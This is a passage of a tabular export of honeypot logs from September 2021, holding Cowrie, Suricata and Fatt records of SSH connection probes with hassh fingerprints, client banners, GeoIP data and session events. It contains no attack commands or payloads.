"hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50588, "dest_port": 22, "timestamp": "2021-09-20T11:15:22.610100", "@timestamp": "2021-09-20T11:15:22.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27712	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:23.242409+03	2021-09-20 14:30:01.824525+03	{"_id": "DAbqAnwBvYTbRNuE8Cpg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1a0fa1cf258e", "@version": "1", "duration": 3.057516574859619, "timestamp": "2021-09-20T11:15:23.242409Z", "@timestamp": "2021-09-20T11:15:23.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27713	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:24.284529+03	2021-09-20 14:30:01.825524+03	{"_id": "DgbqAnwBvYTbRNuE8yqF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56008, "timestamp": "2021-09-20T11:15:24.284529", "@timestamp": "2021-09-20T11:15:24.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27714	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:24.707967+03	2021-09-20 14:30:01.826524+03	{"_id": "FwbqAnwBvYTbRNuE9CpL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "19233e3e5185", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:24.707967Z", "@timestamp": "2021-09-20T11:15:24.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27715	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:24.97778+03	2021-09-20 14:30:01.827523+03	{"_id": "IAbqAnwBvYTbRNuE9iou", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1825766661439963, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41628, "dest_port": 22, "timestamp": "2021-09-20T11:15:24.977780Z", "@timestamp": "2021-09-20T11:15:24.977Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27716	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:24.977934+03	2021-09-20 14:30:01.829523+03	{"_id": "IQbqAnwBvYTbRNuE9ypt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41628, "timestamp": "2021-09-20T11:15:24.977934", "@timestamp": "2021-09-20T11:15:24.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27717	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:25.7157+03	2021-09-20 14:30:01.830523+03	{"_id": "JAbqAnwBvYTbRNuE-Co2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "424c2bceab33", "@version": "1", "duration": 3.4559426307678223, "timestamp": "2021-09-20T11:15:25.715700Z", "@timestamp": "2021-09-20T11:15:25.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27718	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:25.876042+03	2021-09-20 14:30:01.831523+03	{"_id": "NQbqAnwBvYTbRNuE-ioW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 192366976551052, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51212, "dest_port": 22, "timestamp": "2021-09-20T11:15:25.876042Z", "@timestamp": "2021-09-20T11:15:25.876Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27719	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:15:26.080161+03	2021-09-20 14:30:01.833523+03	{"_id": "NgbqAnwBvYTbRNuE-ioW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:26.080161+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 630135813191969, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 49304, "timestamp": "2021-09-20T11:15:26.080161Z", "@timestamp": "2021-09-20T11:15:26.080Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27720	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:25.813541+03	2021-09-20 14:30:01.834524+03	{"_id": "OAbqAnwBvYTbRNuE-ypV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48450, "timestamp": "2021-09-20T11:15:25.813541", "@timestamp": "2021-09-20T11:15:25.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27721	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:25.877628+03	2021-09-20 14:30:01.835524+03	{"_id": "OQbqAnwBvYTbRNuE-ypV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51212, "timestamp": "2021-09-20T11:15:25.877628", "@timestamp": "2021-09-20T11:15:25.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27722	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:25.884127+03	2021-09-20 14:30:01.836524+03	{"_id": "NwbqAnwBvYTbRNuE-ypV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51212, "dest_port": 22, "timestamp": "2021-09-20T11:15:25.884127", "@timestamp": "2021-09-20T11:15:25.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27723	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:25.884315+03	2021-09-20 14:30:01.837524+03	{"_id": "PAbqAnwBvYTbRNuE_Coa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "49d8477a128b", "@version": "1", "timestamp": "2021-09-20T11:15:25.884315Z", "@timestamp": "2021-09-20T11:15:25.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 